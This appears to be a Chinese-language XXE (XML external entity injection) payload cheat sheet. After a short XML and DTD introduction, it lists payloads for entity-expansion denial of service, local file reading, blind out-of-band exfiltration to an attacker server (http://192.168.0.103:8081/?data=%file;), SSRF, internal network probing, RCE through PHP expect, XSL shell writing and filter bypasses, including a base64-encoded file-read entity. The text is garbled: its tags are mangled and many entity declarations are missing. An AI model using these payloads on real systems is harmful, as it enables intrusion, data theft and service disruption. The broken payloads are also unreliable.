介绍: XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明,DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具,XXE 漏洞全称 XML External Entity Injection ,即 XML 外部实体注入漏洞
,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害
XML 和 HTML 差别
<!DOCTYPE note [
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]]]>
<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>
XML 元素介绍:
文档类型定义 (DTD) 可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构
DTD 可被声明在 XML 文档中,也可以作为一个外部引用:
内部的声明
外部文档的申明
DTD 实体:
内部实体声明
外部实体声明
参数实体声明
如遇与xml交互的地方
DOCTYPE ANY [
<!ENTITY test "this is test">
]>
<root>&test;root>
看是否输出
检查是否支持外部实体
DOCTYPE ANY [
%foo;
]>
查看你的服务器是否有请求
JSON content-type XXE
修改Content-Type: application/xml
X-Requested-With: XMLHttpRequest
DOCTYPE netspi []>
<root>
<参数name>name参数name>
<参数value>&xxe; 参数value>
root>
DOCTYPE root []><root>&test;root>
DOCTYPE data [
<!ELEMENT data (#ANY)>
]>
<data>&file;data>
DOCTYPE foo [
<!ELEMENT foo ANY >
]><foo>&xxe;foo>
DOCTYPE foo [
<!ELEMENT foo ANY >
]><foo>&xxe;foo>
拒接服务攻击
DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;data>
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。
读文件
DOCTYPE ANY [
]>
<x>&xxe;x>
无回显:
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
DOCTYPE test [
%dtd;
%send;
]>
在自己服务器上创建相应文件,使目标服务器访问自己服务器,从日志查看信息 test.dtd:
% send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;
内网探针或攻击内网应用(触发漏洞地址)
DOCTYPE foo [
<!ELEMENT foo ANY >
]>
<x>&rabbit;x>
RCE 该 CASE 是在安装 expect 扩展的 PHP 环境中执行的
DOCTYPE ANY [
]>
<x>&xxe;x>
SSRF
DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4
引入外部实体 dtd
DOCTYPE test [
%file;
]>
<x>&send;x>
evil2.dtd:
协议–读文件
DOCTYPE ANY [ ]>
<x>&f;x>
XXE 写 shell:
当XXE支持XSL时
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
xsl:template>
xsl:stylesheet>
ENTITY
system
file
等关键字被过滤
使用编码方式绕过: UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
http 被过滤:
data:// 协议绕过
DOCTYPE test [
">
%a;
%b;
]>
<test>&hhh;test>
file:// 协议加文件上传
DOCTYPE test [
%a;
]>
php://filter 协议加文件上传
DOCTYPE test [
%a;
]>
<test>
&hhh;
test>
DOCTYPE test [
%a;
]>
<test>
&hhh;
test>
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
==
```